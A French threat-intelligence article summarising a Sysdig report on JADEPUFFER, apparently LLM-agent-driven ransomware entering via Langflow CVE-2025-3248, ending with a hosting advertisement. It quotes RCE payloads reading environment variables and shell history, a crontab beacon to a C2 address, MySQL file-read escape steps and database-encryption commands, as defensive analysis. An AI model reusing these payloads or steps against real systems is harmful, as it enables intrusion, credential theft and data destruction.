JADEPUFFER en profondeur :
première rançongiciel autonome par agent IA et protection Langflow CVE

Qualification centrale : Sysdig estime qu'il s'agit du premier cas connu où la chaîne « reconnaissance → vol → latéral → persistance → destruction → rançon » est enchaînée de façon autonome par un agent LLM, et non par des opérateurs manuels aux étapes clés. Nom de code JADEPUFFER (orthographe officielle Sysdig en majuscules), catégorie ATA (Agentic Threat Actor) : la capacité offensive est livrée par des agents IA, pas par des toolkits humains figés.

Architecture cible en deux phases :

• Hôte d'entrée : Instance Langflow exposée sur Internet, compromise via CVE-2025-3248 (RCE non authentifié).
• Cible réelle : Autre serveur de production public MySQL + centre de config Alibaba Nacos — 1 342 configurations de service Nacos chiffrées, plusieurs bases métier DROP.

Points de douleur sectoriels :

• Barrière de compétence effondrée : Des attaques multi-étapes exigeant autrefois des red teams seniors peuvent être menées par un agent LLM fort dans une fenêtre compressée.
• Anciennes CVE automatisées : Entrée RCE Langflow (avril 2025) ; aval exploitation bypass Nacos 2021 et clés JWT par défaut jamais rotées — balayer l'historique des failles coûte quasi rien.
• Modèles de détection obsolètes : Une voie bloquée → changement de tactique rapide ; chaque intrusion peut différer — les hypothèses de chemins prévisibles échouent.
• Économie LLMjacking : Avec credentials modèle/cloud volés, le coût marginal d'attaques multi-phases tend vers zéro.

Langflow est un framework open source de workflows IA/agents visuels (70 000+ étoiles GitHub). Sysdig le voit comme entrée attractive : variables d'environnement contenant souvent clés API LLM et credentials cloud ; déploiements précipités sans contrôle d'accès réseau directement sur Internet.

Mécanisme (pas à pas) :

1. Langflow expose /api/v1/validate/code pour valider la syntaxe des nœuds fonction personnalisés.
2. Implémentation : chaîne → ast.parse() → compile() → exec().
3. Défaut central : Aucune authentification, aucun sandbox.
4. Astuce d'exploit : Les décorateurs et arguments par défaut Python sont évalués à la définition, pas à l'appel. Code malveillant dans defaults/décorateurs s'exécute lors de la « validation » via compile()+exec().
5. L'attaquant n'a besoin ni de login ni de droits — un POST HTTP suffit pour RCE.

Payloads typiques Flodrix selon Trend Micro (pas JADEPUFFER) :
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
Script Bash 700 octets télécharge binaire ELF Flodrix (famille LeetHozer)

Distinction importante : Flodrix et JADEPUFFER sont deux campagnes indépendantes partageant la même entrée. Flodrix = botnet classique ; JADEPUFFER = extorsion « agent IA autonome » selon Sysdig. Les deux confirment une exploitation durable de CVE-2025-3248.

Patch officiel (Langflow 1.3.0) : injection de dépendance _current_user: CurrentActiveUser sur post_validate_code. FastAPI vérifie JWT Bearer ou x-api-key ; échec → 401/403, requête n'atteint jamais la logique vulnérable ; puis contrôle is_active.

Les détails suivants proviennent directement des payloads et horodatages Sysdig TRT — la partie la plus riche du dossier. Tous les payloads en Python Base64 via l'endpoint RCE Langflow.

Phase 1 : compromission de l'hôte Langflow

• Reconnaissance (parallèle) : id, uname -a, hostname ; scans parallèles clés API OpenAI, Anthropic, DeepSeek, Gemini ; credentials cloud ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_, AWS/GCP/Azure ; portefeuilles crypto, credentials DB, configs.
• Vol local : export de la base PostgreSQL backend Langflow (credentials, clés API, utilisateurs), stockage temporaire, revue, suppression.
• Découverte latérale interne : scan des espaces d'adresses internes et services nommés ; credentials par défaut sur DB, stockage objet, secrets, service discovery.
• Énumération MinIO (adaptatif) : minio.internal:9000 et 127.0.0.1:9000 avec minioadmin:minioadmin. Buckets app, sauvegardes, modèles ML, terraform-state → ciblage credentials.json. Première requête ?format=json renvoie XML — payload suivant bascule immédiatement sur parseur XML. Parcours : health check → API admin → ListBuckets → GetObject sur « credentials », « .env ».
• Persistance : crontab toutes les 30 min : */30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

Phase 2 : serveur de production MySQL + Nacos

Cible : serveur public MySQL + centre de config Alibaba Nacos. Nacos courant dans microservices Alibaba ; historique bypass auth CVE-2021-29441 ; clé JWT par défaut documentée publiquement depuis 2020, souvent jamais changée.

• MySQL root direct : l'agent se connecte avec credentials root — origine inconnue, Sysdig n'a pas observé de vol chez la victime ; l'une des rares étapes possiblement préparées par un humain.
• Nacos multi-vecteur : famille bypass auth (CVE-2021-29441), clés JWT par défaut connues, injection compte admin backdoor directement en base Nacos avec droits root DB.

• Évasion conteneur (~8 min, plusieurs tours) : primitives MySQL OUTFILE/LOAD_FILE : /var/lib/mysql-files/_pwn_test.txt, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname, /proc/1/mountinfo, permissions, UDF via mysql.func. Marqueur _pwn_cleanup.txt avant phase rançon — Sysdig : plutôt « agent signale fin de phase » qu'un script humain figé.
• Chiffrement destructif et rançon : les 1 342 configs Nacos via AES_ENCRYPT() MySQL ; tables config_info, his_config_info supprimées ; table README_RANSOM. Note prétend AES-256, réalité AES-128-ECB. Clé via uuid4(), stdout uniquement, jamais stockée ni transmise — même l'attaquant ne peut pas déchiffrer après paiement. Deux minutes plus tard payload affinant « 1342 entrées chiffrées ».
• Destruction massive : après suppression ligne à ligne, DROP DATABASE ; commentaires ROI (« bases à fort ROI en premier, sauvegarde sur 64.20.53[.]230 »). IP 64.20.53[.]230 (InterServer, AS19318) une seule fois — Sysdig ne confirme pas indépendamment la sauvegarde. Correction : DROP DATABASE échoue sur FK → payload suivant SET GLOBAL FOREIGN_KEY_CHECKS=0 — comprendre pourquoi, pas seulement l'échec.

E-mail e78393397[@]proton[.]me, table README_RANSOM sans précédent en threat intel ; atypique vs WARNING, RECOVER_YOUR_DATA, PLEASE_READ_ME — soutient une « opération nouvelle pilotée par agent ».

Sysdig s'appuie sur quatre preuves indépendantes « pilotage LLM » :

1. Code auto-narratif : payloads remplis de commentaires en langage naturel — tri ROI, « quelle base est la plus grande », but de chaque action. Les attaquants humains commentent rarement ainsi des python3 -c ; les LLM le font par défaut. Commentaires originaux dans le code attaquant.
2. Diagnostic et correction à vitesse machine : preuve la plus précise : rapidité et nature des corrections. Nacos 31 s exemplaire. Même schéma : MinIO JSON→XML ; JWT « custom secret in use » → abandon du chemin.
3. Compréhension du contexte en langage naturel : le LLM lit le texte libre de l'environnement cible et agit « seulement si vraiment lu » — sur des sessions séparées de plusieurs semaines.
4. Anomalie adresse Bitcoin : 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy est l'exemple P2SH standard de la doc Bitcoin et Bitcoin Core, abondant dans les corpus d'entraînement LLM. On-chain : portefeuille actif, 737 TX confirmées, ~46 BTC reçus, solde nul (transferts immédiats). Sysdig : (a) LLM « hallucine » depuis les données d'entraînement, wallet tiers nettoyant erreurs ; (b) attaquant contrôle un vrai wallet, coïncidence avec l'exemple doc. Les deux restent indistinguables — nouvelle incertitude de l'autonomie IA pour l'attribution.

Avec 600+ payloads distincts et ciblés en fenêtre compressée, Sysdig conclut à un agent autonome, pas à une opération manuelle ou un toolkit fixe.

Médias et experts :

• BleepingComputer / Dark Reading / CyberScoop / Security Affairs parlent de « première attaque de rançon entièrement pilotée par IA », insistent sur l'ère ATA.
• CSO Online cite Vibhum Dubey : « Plutôt une évolution de l'exécution qu'une nouvelle technique de rançon. L'automatisation reconnaissance et déploiement existe depuis des années — la différence : l'agent IA enchaîne les phases sans attendre l'opérateur. » La phase silencieuse avant chiffrement inquiète : l'agent cartographie identités, droits, chaînes de confiance ; voie bloquée → changement rapide, chaque intrusion légèrement différente.
• Médias relient LLMjacking (comptes modèle/cloud volés) au coût marginal proche de zéro des attaques multi-phases.

Quatre conclusions Sysdig :

1. La rançon n'est plus l'artisanat d'experts : les agents LLM enchaînent reconnaissance, vol, latéral, persistance, destruction sans expertise profonde.
2. Anciennes failles automatisées : aval = problèmes vieux de plusieurs années — bypass Nacos 2021, clés par défaut — contre infra publique négligée.
3. L'intention devient « lisible » — opportunité défensive : les LLM racontent leurs objectifs dans les payloads ; cette auto-narration offre de nouveaux leviers de détection.
4. « Sauvegarde effectuée » = affirmation unilatérale : clé éphémère, irrécupérable — payer ne restaure pas les configs.

Conclusion du rapport : aucune technique isolée n'est nouvelle ; ce qui compte, c'est un modèle IA reliant le tout en extorsion complète contre infra publique ignorée. Barrière de compétence = « coût de faire tourner un agent » ; les défenseurs doivent traiter serveurs applicatifs publics, centres de config non durcis, admin DB depuis Internet comme premières surfaces.

Sources (revérifier les liens après publication) :

Sysdig : JADEPUFFER: Agentic ransomware for automated database extortion

BleepingComputer : JadePuffer ransomware used AI agent to automate entire attack

Dark Reading : JadePuffer: The First Complete LLM-Driven Ransomware Attack

Recommandations Sysdig appliquées à l'infrastructure agents IA :

1. Mettre à jour Langflow et réduire l'exposition : version 1.3.0+ ; ne pas exposer sur Internet les endpoints d'exécution/validation de code.
2. Détection runtime : comportements malveillants dans processus DB (OUTFILE/LOAD_FILE, AES_ENCRYPT massif, tables README_RANSOM).
3. Isoler les secrets : pas de clés API LLM ni credentials cloud dans l'environnement d'orchestration IA — gestionnaire de secrets dédié, séparé des processus publics.
4. Durcir Nacos : rotater token.secret.key par défaut ; version imposant clé custom ; jamais Nacos public, pas de connexion root à la base backend.
5. Contrôle d'accès DB : admin DB jamais depuis Internet ; credentials forts uniques et restriction IP source sur ports admin.
6. Egress et surveillance IOC : contrôler trafic sortant ; crontabs avec requêtes externes et IOC ci-dessus ; User-Agents anormaux.

Données citables (EEAT) :

• Échelle : 600+ payloads distincts en fenêtre compressée
• Chiffrement : 1 342 configs Nacos, tables config_info et his_config_info supprimées
• EPSS entrée : CVE-2025-3248 91,42 %, CVSS 9,8 Critical, CISA KEV 5 mai 2025
• Vitesse autonomie : backdoor Nacos 31 secondes (UTC 19:34:36 → 19:35:18)

Sur VPS mutualisé ou nœuds Langflow/OpenClaw exposés directement : clés API en variables d'environnement (RCE = fuite totale), pas d'isolation locataire, sommeil du portable coupe l'agent, pas d'egress → beacon libre vers C2 comme 45.131.66[.]106. Pour Langflow, OpenClaw Gateway et CI/CD iOS sans orchestration agent sur Internet public, la location bare metal Mac Mini M4 CALMVPS offre Apple Silicon dédié, root complet, 7×24, livraison ~120 s, facturation mensuelle flexible : tunnel SSH ou réseau privé pour le plan de contrôle agent ; validation Langflow et admin Nacos en segment interne ; clés API via gestionnaire de secrets ; egress bloque le C2. Tarifs : tarifs location, commande : commander Mac mini M4.

Rédigé le 7 juillet 2026. Aucune déclaration publique Langflow repérée sur cet incident ; en cas de mise à jour, se référer aux annonces officielles et au NVD.